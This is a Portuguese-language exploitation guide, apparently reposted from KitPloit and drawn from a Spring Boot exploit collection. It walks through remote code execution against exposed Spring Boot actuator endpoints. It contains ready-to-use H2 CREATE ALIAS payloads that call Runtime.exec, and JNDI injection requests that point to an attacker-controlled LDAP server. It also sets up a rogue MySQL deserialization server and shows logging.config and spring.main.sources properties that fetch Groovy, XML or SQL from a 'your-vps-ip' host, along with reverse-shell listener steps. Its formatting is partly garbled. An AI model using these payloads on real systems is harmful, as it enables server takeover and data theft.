{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
Passo 2: Reiniciar a aplicação

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/restart
Content-Type: application/json

Princípio da Vulnerabilidade:

  1. A propriedade spring.datasource.hikari.connection-test-query é definida como uma instrução SQL maliciosa CREATE ALIAS para criar uma função personalizada.
  2. Essa propriedade corresponde à configuração connectionTestQuery do pool de conexões HikariCP, que define a instrução SQL executada antes de estabelecer uma nova conexão com o banco de dados.
  3. O restart da aplicação estabelecerá novas conexões com o banco de dados.
  4. Se a função personalizada na instrução SQL ainda não tiver sido executada, ela será executada, causando uma vulnerabilidade de RCE.

Análise da Vulnerabilidade:

​ remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

Ambiente da Vulnerabilidade:

repository/springboot-h2-database-rce

Acesso normal:``` http://127.0.0.1:9096/actuator/env

root@kitploit:~
### 0x07:h2 database console JNDI RCE

#### Condições de exploração:

- Dependência `com.h2database.h2` presente (versão necessária desconhecida por enquanto)
- Configuração do Spring com console h2 ativado `spring.h2.console.enabled=true`
- O alvo pode solicitar o servidor do atacante (solicitação pode acessar a rede externa)
- Injeção JNDI é afetada pela versão JDK do alvo, jdk < 6u201/7u191/8u182/11.0.1 (método LDAP)

#### Método de exploração:

##### Passo 1: Acessar a rota para obter o jsessionid

Acesse diretamente a rota padrão do console h2 `/h2-console` no alvo, o alvo redirecionará para a página `/h2-console/login.jsp?jsessionid=xxxxxx`, anote o valor real de `jsessionid=xxxxxx`.

##### Passo 2: Preparar o código Java a ser executado

Escreva o [código de exemplo Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java` otimizado para obter um reverse shell,

compile usando um método compatível com versões mais baixas do JDK:```bash
javac -source 1.5 -target 1.5 JNDIObject.java

Em seguida, copie o arquivo JNDIObject.class gerado para o diretório raiz do site na Etapa 2.

Etapa 3: Hospedar o arquivo class

Em sua própria máquina VPS controlada, inicie um servidor HTTP simples, use portas de serviço HTTP comuns (80, 443) se possível.```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
Copie os arquivos de classe compilados na **Etapa 2** para o diretório raiz do servidor HTTP.

##### Etapa 4: Configurar um serviço ldap malicioso

Baixe [marshalsec](https://github.com/mbechler/marshalsec) e use o seguinte comando para configurar o serviço ldap correspondente:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
Passo 5: Escutar a porta para shell reverso

Geralmente, usa-se nc para escutar a porta, aguardando o shell reverso.```bash nc -lv 443

root@kitploit:~
##### Passo 6: Enviar pacote para acionar injeção JNDI

De acordo com a situação real, substitua `jsessionid=xxxxxx`, `www.example.com` e `ldap://your-vps-ip:1389/JNDIObject` nos dados abaixo.```bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=

Análise de vulnerabilidade:

​ Spring Boot + Injeção JNDI do banco de dados H2

Ambiente de vulnerabilidade:

repository/springboot-h2-database-rce

Acesso normal:``` http://127.0.0.1:9096/h2-console

root@kitploit:~
### 0x08:mysql jdbc deserialization RCE

#### Pré-requisitos:

- Capacidade de enviar requisições POST para o endpoint `/env` do site alvo para definir propriedades
- Capacidade de enviar requisições POST para o endpoint `/refresh` do site alvo para atualizar a configuração (com dependência `spring-boot-starter-actuator`)
- Presença da dependência `mysql-connector-java` no ambiente alvo
- O alvo deve ser capaz de fazer requisições ao servidor do atacante (requisições para a rede externa)

#### Método de exploração:

##### Passo 1: Verificar dependências do ambiente

Faça uma requisição GET para `/env` ou `/actuator/env`, pesquise pela palavra-chave `mysql-connector-java` nas variáveis de ambiente (classpath) e anote o número da versão (5.x ou 8.x);

Procure e observe se há dependências comuns de gadgets de desserialização nas variáveis de ambiente, por exemplo `commons-collections`, `Jdk7u21`, `Jdk8u20`, etc.;

Pesquise pela palavra-chave `spring.datasource.url` e anote seu `value` para facilitar a restauração posterior do valor normal da URL JDBC.

##### Passo 2: Configurar um servidor MySQL malicioso rogue

Execute o script [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) no servidor que você controla e utilize o [ysoserial](https://github.com/frohoff/ysoserial) para personalizar o comando a ser executado:```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

Gere o arquivo de payload de desserialização payload.ser no mesmo diretório do script, para uso pelo script.

Etapa 3: Definir a propriedade spring.datasource.url

⚠️ Modificar esta propriedade fará com que todos os serviços normais de banco de dados do site fiquem temporariamente indisponíveis, causando impacto nos negócios. Por favor, opere com cuidado!

Para a versão mysql-connector-java 5.x, defina o valor da propriedade como:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

root@kitploit:~
Para a versão 8.x do mysql-connector-java, defina o **valor da propriedade** como:```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

root@kitploit:~
spring 2.x```
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}
Passo Quatro: Atualizar Configuração

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/refresh
Content-Type: application/json

Passo 5: Acionar consulta ao banco de dados

Tente acessar a interface de consulta ao banco de dados conhecida do site, por exemplo: /product/list, ou procure outras formas de acionar ativamente uma consulta ao banco de dados no site de origem, e então a vulnerabilidade será acionada.

Passo 6: Restaurar a jdbc url normal

Após concluir a exploração da vulnerabilidade de desserialização, utilize o método do Passo 3 para restaurar o valor value original de spring.datasource.url registrado no Passo 1.

Princípio da vulnerabilidade:

  1. O atributo spring.datasource.url é definido como um endereço de url jdbc mysql malicioso externo.
  2. Após o refresh, um novo valor de atributo spring.datasource.url é definido.
  3. Quando o site realiza operações como consultas ao banco de dados, ele tenta usar a url jdbc mysql maliciosa para estabelecer uma nova conexão com o banco de dados.
  4. Então, o servidor mysql malicioso, na fase adequada do estabelecimento da conexão, retorna dados de payload de desserialização.
  5. O mysql-connector-java dependente do alvo desserializa o gadget configurado, causando uma vulnerabilidade RCE.

Análise da vulnerabilidade:

​ New-Exploit-Technique-In-Java-Deserialization-Attack

Ambiente da vulnerabilidade:

É necessário configurar spring.datasource.url, spring.datasource.username e spring.datasource.password no application.properties para garantir a conexão normal com o banco de dados mysql; caso contrário, o programa apresentará erro e será encerrado na inicialização.

repository/springboot-mysql-jdbc-rce

Acesso normal:``` http://127.0.0.1:9097/actuator/env

root@kitploit:~
Após enviar o payload, a vulnerabilidade é acionada:```
http://127.0.0.1:9097/product/list

0x09:restart logging.config logback JNDI RCE

Condições de exploração:

  • Pode fazer requisição POST para o endpoint /env do site alvo para definir propriedades
  • Pode fazer requisição POST para o endpoint /restart do site alvo para reiniciar a aplicação
  • A injeção JNDI comum é afetada pela versão JDK do alvo, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), mas ambientes relacionados podem ser contornados
  • ⚠️ O alvo pode fazer requisições ao servidor HTTP do atacante (requisição pode sair para a rede externa), caso contrário, o restart causará saída anormal do programa
  • ⚠️ Se o servidor HTTP retornar um arquivo com conteúdo XML malformado, isso causará saída anormal do programa
  • ⚠️ O objeto retornado pelo serviço JNDI precisa implementar a interface javax.naming.spi.ObjectFactory, caso contrário, causará saída anormal do programa

Método de exploração:

Passo 1: Hospedar arquivo xml

Em uma máquina VPS sob seu controle, inicie um servidor HTTP simples, usando portas comuns de serviço HTTP (80, 443) sempre que possível.```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
No diretório raiz, coloque o arquivo `example.xml` (com extensão `xml`). O conteúdo real deve ser determinado de acordo com o serviço JNDI usado na etapa dois:```xml
<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
Passo 2: Hospedar serviço LDAP malicioso e código

Consulte o artigo, modifique o JNDIExploit e inicie (também pode usar outros métodos):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

root@kitploit:~
##### Passo três: Definir a propriedade logging.config

spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.xml

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

root@kitploit:~
##### Passo 4: Reiniciar a aplicação

spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x``` POST /actuator/restart Content-Type: application/json

root@kitploit:~
#### Princípio da Vulnerabilidade:

1. A máquina alvo define a URL do arquivo de configuração do logback através da propriedade `logging.config`
2. Após reiniciar, o programa solicita o conteúdo do arquivo XML malicioso da URL
3. A máquina alvo usa `saxParser.parse` para analisar o arquivo XML (o que causa a vulnerabilidade XXE)
4. No arquivo XML, é utilizada a tag `insertFormJNDI` da dependência `logback`, configurando o endereço do servidor JNDI externo
5. A máquina alvo solicita o servidor JNDI malicioso, causando injeção JNDI e resultando em vulnerabilidade RCE

#### Análise da Vulnerabilidade:

​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)

​	https://landgrey.me/blog/21/

#### Ambiente da Vulnerabilidade:

[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)

Acesso normal:```
http://127.0.0.1:9098/actuator/env

0x0A:restart logging.config groovy RCE

Condições de exploração:

  • Pode fazer solicitação POST para a interface /env do site alvo para definir propriedades
  • Pode fazer solicitação POST para a interface /restart do site alvo para reiniciar a aplicação
  • ⚠️ O alvo deve poder fazer solicitações ao servidor HTTP do atacante (as requisições devem conseguir acessar a rede externa), caso contrário o restart causará uma saída anormal do programa
  • ⚠️ Se o servidor HTTP retornar um arquivo com sintaxe Groovy malformada, isso causará uma saída anormal do programa
  • ⚠️ O ambiente precisa ter a dependência Groovy, caso contrário causará uma saída anormal do programa

Método de exploração:

Passo 1: Hospedar o arquivo Groovy

Em uma máquina VPS que você controla, inicie um servidor HTTP simples, usando portas comuns de serviço HTTP (80, 443) se possível.```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
Coloque no diretório raiz um arquivo `example.groovy` terminado em `groovy`, com o conteúdo do código groovy a ser executado, por exemplo:```xml
Runtime.getRuntime().exec("open -a Calculator")

Passo 2: Definir a propriedade logging.config

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy

root@kitploit:~
spring 2.x```
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
Passo 3: Reiniciar a aplicação

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/restart
Content-Type: application/json

Princípio da vulnerabilidade:

  1. A máquina alvo define o endereço URL do arquivo de configuração de log do Logback através da propriedade logging.config.
  2. Após a reinicialização, o programa solicitará o endereço URL definido.
  3. No arquivo de código ch.qos.logback.classic.util.ContextInitializer.java do componente logback-classic, a lógica verifica se a URL termina com groovy.
  4. Se a URL terminar com groovy, o código Groovy no conteúdo do arquivo será executado, resultando em uma vulnerabilidade de RCE.

Ambiente de vulnerabilidade:

repository/springboot-restart-rce

Acesso normal:``` http://127.0.0.1:9098/actuator/env

root@kitploit:~
### 0x0B: restart spring.main.sources groovy RCE

#### Condições de exploração:

- Pode fazer uma requisição POST para o endpoint `/env` do site alvo para definir propriedades
- Pode fazer uma requisição POST para o endpoint `/restart` do site alvo para reiniciar a aplicação
- ⚠️ O alvo deve poder fazer requisições ao servidor HTTP do atacante (as requisições devem sair para a rede externa), caso contrário, o restart fará com que o programa saia com erro
- ⚠️ Se o servidor HTTP retornar um arquivo com sintaxe groovy malformada, o programa sairá com erro
- ⚠️ É necessário que a dependência groovy exista no ambiente, caso contrário o programa sairá com erro

#### Método de exploração:

##### Passo 1: Hospedar o arquivo groovy

Em uma máquina VPS sob seu controle, inicie um servidor HTTP simples, utilizando de preferência portas comuns de serviços HTTP (80, 443)```bash
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

Coloque um arquivo example.groovy com a extensão .groovy no diretório raiz, cujo conteúdo é o código Groovy a ser executado, por exemplo:```xml Runtime.getRuntime().exec("open -a Calculator")

root@kitploit:~
##### Passo 2: Definir a propriedade spring.main.sources

spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded

spring.main.sources=http://your-vps-ip/example.groovy

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

root@kitploit:~
##### Etapa três: Reiniciar aplicação

spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x``` POST /actuator/restart Content-Type: application/json

root@kitploit:~
#### Princípio da vulnerabilidade:

1. A máquina alvo pode utilizar a propriedade spring.main.sources para definir o URL de fontes adicionais para criar o ApplicationContext.
2. Após reiniciar a aplicação (restart), o programa solicita o URL definido.
3. Na lógica do código do arquivo `org.springframework.boot.BeanDefinitionLoader.java` no componente `spring-boot`, é verificado se o URL termina com `.groovy`.
4. Se o URL terminar com `.groovy`, então o código Groovy no conteúdo do arquivo será executado, resultando em uma vulnerabilidade RCE.

#### Ambiente da vulnerabilidade:

[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)

Acesso normal:```
http://127.0.0.1:9098/actuator/env

0x0C:restart spring.datasource.data h2 database RCE

Condições de Exploração:

  • Pode fazer requisições POST para o endpoint /env do site alvo para definir propriedades
  • Pode fazer requisições POST para o endpoint /restart do site alvo para reiniciar a aplicação
  • O ambiente precisa ter as dependências relacionadas a h2database e spring-boot-starter-data-jpa
  • ⚠️ O alvo deve ser capaz de requisitar o servidor HTTP do atacante (as requisições devem conseguir acessar a rede externa), caso contrário, o restart fará com que o programa saia com erro
  • ⚠️ Se o servidor HTTP retornar um arquivo contendo sintaxe SQL h2 malformada, fará com que o programa saia com erro

Métodos de Exploração:

Passo 1: Hospedar o arquivo sql

Em uma máquina VPS sob seu controle, inicie um servidor HTTP simples, usando portas comuns de serviços HTTP (80, 443) sempre que possível.```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
Coloque um arquivo com qualquer nome no diretório raiz, cujo conteúdo seja o código h2 SQL a ser executado, por exemplo:

> ⚠️ O método 'T5' no payload abaixo só pode ser executado uma vez por restart; nas próximas reinicializações, é necessário alterar o nome do método (por exemplo, T6) e definir um novo endereço de URL SQL, para que possa ser reutilizado pelo restart; caso contrário, na segunda reinicialização, ao reiniciar a aplicação, ocorrerá uma saída anormal do programa.```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
Passo 2: Configurar a propriedade spring.datasource.data

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/example.sql

root@kitploit:~
spring 2.x```
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
Passo 3: Reiniciar a aplicação

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/restart
Content-Type: application/json

Princípio da vulnerabilidade:

  1. A máquina alvo pode definir o endereço URL do arquivo SQL DML jdbc através da propriedade spring.datasource.data
  2. Após reiniciar a aplicação, o programa solicitará o endereço URL definido
  3. Na lógica do código do arquivo org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java no componente spring-boot-autoconfigure, o método runScripts é usado para executar o código SQL do banco de dados h2 presente no conteúdo da URL solicitada, causando uma vulnerabilidade RCE

Ambiente da vulnerabilidade:

repository/springboot-restart-rce

Acesso normal:``` http://127.0.0.1:9098/actuator/env

root@kitploit:~
Baixar ferramenta
  • Passo 4: Atualizar a configuração
  • Princípio da Vulnerabilidade:
  • Análise da Vulnerabilidade:
  • Ambiente da Vulnerabilidade:
  • 0x04: Jolokia Logback JNDI RCE
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Visualizar MBeans existentes
      • Passo 2: Hostear arquivo xml
      • Passo 3: Preparar o código Java a ser executado
      • Passo 4: Montar serviço ldap malicioso
      • Passo 5: Ouvir a porta de reverse shell
      • Passo 6: Carregar arquivo de configuração de log de uma URL externa
    • Princípio da Vulnerabilidade:
    • Análise da Vulnerabilidade:
    • Ambiente da Vulnerabilidade:
  • 0x05: Jolokia Realm JNDI RCE
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Visualizar MBeans existentes
      • Passo 2: Preparar o código Java a ser executado
      • Passo 3: Hostear arquivo class
      • Passo 4: Montar serviço rmi malicioso
      • Passo 5: Ouvir a porta de reverse shell
      • Passo 6: Enviar payload malicioso
    • Princípio da Vulnerabilidade:
    • Análise da Vulnerabilidade:
    • Ambiente da Vulnerabilidade:
  • 0x06: Reiniciar H2 Database Query RCE
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Definir a propriedade spring.datasource.hikari.connection-test-query
      • Passo 2: Reiniciar a aplicação
    • Princípio da Vulnerabilidade:
    • Análise da Vulnerabilidade:
    • Ambiente da Vulnerabilidade:
  • 0x07: H2 Database Console JNDI RCE
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Acessar a rota para obter jsessionid
      • Passo 2: Preparar o código Java a ser executado
      • Passo 3: Hostear arquivo class
      • Passo 4: Montar serviço ldap malicioso
      • Passo 5: Ouvir a porta de reverse shell
      • Passo 6: Enviar pacote para acionar injeção JNDI
    • Análise da Vulnerabilidade:
    • Ambiente da Vulnerabilidade:
  • 0x08: MySQL JDBC Deserialization RCE
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Verificar dependências do ambiente
      • Passo 2: Montar servidor rogue mysql malicioso
      • Passo 3: Definir a propriedade spring.datasource.url
      • Passo 4: Atualizar a configuração
      • Passo 5: Acionar consulta ao banco de dados
      • Passo 6: Restaurar jdbc url normal
    • Princípio da Vulnerabilidade:
    • Análise da Vulnerabilidade:
    • Ambiente da Vulnerabilidade:
  • 0x09: Reiniciar logging.config Logback JNDI RCE
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Hostear arquivo xml
      • Passo 2: Hostear serviço ldap malicioso e código
      • Passo 3: Definir a propriedade logging.config
      • Passo 4: Reiniciar a aplicação
    • Princípio da Vulnerabilidade:
    • Análise da Vulnerabilidade:
    • Ambiente da Vulnerabilidade:
  • 0x0A: Reiniciar logging.config Groovy RCE
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Hostear arquivo groovy
      • Passo 2: Definir a propriedade logging.config
      • Passo 3: Reiniciar a aplicação
    • Princípio da Vulnerabilidade:
    • Ambiente da Vulnerabilidade:
  • 0x0B: Reiniciar spring.main.sources Groovy RCE
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Hostear arquivo groovy
      • Passo 2: Definir a propriedade spring.main.sources
      • Passo 3: Reiniciar a aplicação
    • Princípio da Vulnerabilidade:
    • Ambiente da Vulnerabilidade:
  • 0x0C: Reiniciar spring.datasource.data H2 Database RCE
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Hostear arquivo sql
      • Passo 2: Definir a propriedade spring.datasource.data
      • Passo 3: Reiniciar a aplicação
    • Princípio da Vulnerabilidade:
    • Ambiente da Vulnerabilidade:
  • spring-boot-dependencies
    spring-cloud-dependenciesspring-cloud-dependencies
    Versão Principal do Spring CloudVersão do Spring Boot
    AngelCompatível com Spring Boot 1.2.x
    BrixtonCompatível com Spring Boot 1.3.x, 1.4.x
    CamdenCompatível com Spring Boot 1.4.x, 1.5.x
    DalstonCompatível com Spring Boot 1.5.x, não compatível com 2.0.x
    EdgwareCompatível com Spring Boot 1.5.x, não compatível com 2.0.x
    FinchleyCompatível com Spring Boot 2.0.x, não compatível com 1.5.x
    GreenwichCompatível com Spring Boot 2.1.x
    HoxtonCompatível com Spring Boot 2.2.x
    MX
    Versão marco
    RCXVersão candidata a lançamento
    RELEASEVersão de lançamento oficial
    SRXVersão de lançamento oficial (correção de erros e bugs e relançamento)
    /restart
  • /jolokia、/actuator/jolokia

    Através do endpoint /jolokia/list é possível encontrar MBeans que podem ser utilizados, desencadeando indiretamente vulnerabilidades RCE relacionadas ou obtendo o texto claro de informações privadas importantes ocultas com asteriscos.

  • /trace、/actuator/httptrace

    Alguns pacotes de requisição HTTP contêm informações de rastreamento de acesso, onde é possível encontrar detalhes de requisições de sistemas de aplicação na rede interna; bem como cookies de utilizadores válidos ou administradores, tokens JWT, etc.